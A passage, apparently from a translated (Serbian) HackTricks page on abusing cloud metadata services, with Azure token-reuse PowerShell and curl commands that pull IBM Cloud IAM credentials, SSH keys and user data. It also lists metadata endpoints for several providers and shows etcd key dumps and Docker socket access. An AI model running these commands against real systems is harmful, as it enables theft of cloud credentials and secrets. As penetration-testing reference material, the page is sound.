Write-Host "Storage Token: $storageToken"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# API request in powershell to management endpoint
|
|
$Token = 'eyJ0eX..'
|
|
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# API request to graph endpoint (get enterprise applications)
|
|
$Token = 'eyJ0eX..'
|
|
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# Using AzureAD Powershell module witho both management and graph tokens
|
|
$token = 'eyJ0e..'
|
|
$graphaccesstoken = 'eyJ0eX..'
|
|
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
|
|
|
# Try to get current perms over resources
|
|
Get-AzResource
|
|
## The following error means that the user doesn't have permissions over any resource
|
|
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
|
At line:1 char:1
|
|
+ Get-AzResource
|
|
+ ~~~~~~~~~~~~~~
|
|
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
|
+ FullyQualifiedErrorId :
|
|
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
|
|
|
> [!WARNING]
|
|
> Imajte na umu da u IBM-u po defaultu metapodaci nisu omogućeni, tako da je moguće da nećete moći da im pristupite čak i ako ste unutar IBM cloud VM-a.
|
|
```bash
|
|
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
|
-H "Metadata-Flavor: ibm"\
|
|
-H "Accept: application/json"\
|
|
-d '{
|
|
"expires_in": 3600
|
|
}' | jq -r '(.access_token)'`
|
|
|
|
# Get instance details
|
|
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys info
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys fingerprints & user data
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
|
|
|
# Get placement groups
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
|
|
|
# Get IAM credentials
|
|
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
|
```
|
|
Dokumentacija za usluge metapodataka različitih platformi je navedena u nastavku, ističući metode putem kojih se može pristupiti informacijama o konfiguraciji i radu instanci. Svaka platforma nudi jedinstvene krajnje tačke za pristup svojim uslugama metapodataka.
|
|
|
|
## Packetcloud
|
|
|
|
Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
|
|
|
## OpenStack/RackSpace
|
|
|
|
Potrebnost za zaglavljem nije pomenuta. Metapodaci se mogu pristupiti putem:
|
|
|
|
- `http://169.254.169.254/openstack`
|
|
|
|
## HP Helion
|
|
|
|
Potrebnost za zaglavljem ovde takođe nije pomenuta. Metapodaci su dostupni na:
|
|
|
|
- `http://169.254.169.254/2009-04-04/meta-data/`
|
|
|
|
## Oracle Cloud
|
|
|
|
Oracle Cloud pruža niz krajnjih tačaka za pristup različitim aspektima metapodataka:
|
|
|
|
- `http://192.0.0.192/latest/`
|
|
- `http://192.0.0.192/latest/user-data/`
|
|
- `http://192.0.0.192/latest/meta-data/`
|
|
- `http://192.0.0.192/latest/attributes/`
|
|
|
|
## Alibaba
|
|
|
|
Alibaba nudi krajnje tačke za pristup metapodacima, uključujući ID-ove instanci i slika:
|
|
|
|
- `http://100.100.100.200/latest/meta-data/`
|
|
- `http://100.100.100.200/latest/meta-data/instance-id`
|
|
- `http://100.100.100.200/latest/meta-data/image-id`
|
|
|
|
## Kubernetes ETCD
|
|
|
|
Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup se demonstrira putem:
|
|
|
|
- `curl -L http://127.0.0.1:2379/version`
|
|
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
|
|
|
## Docker
|
|
|
|
Docker metapodaci se mogu pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama:
|
|
|
|
- Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker soketa:
|
|
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
|
- Unutar kontejnera, koristite curl sa Docker soketom:
|
|
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
|
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
|
|
|
## Rancher
|
|
|
|
Rancher-ovi metapodaci se mogu pristupiti koristeći:
|
|
|
|
- `curl http://rancher-metadata/<version>/<path>`
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|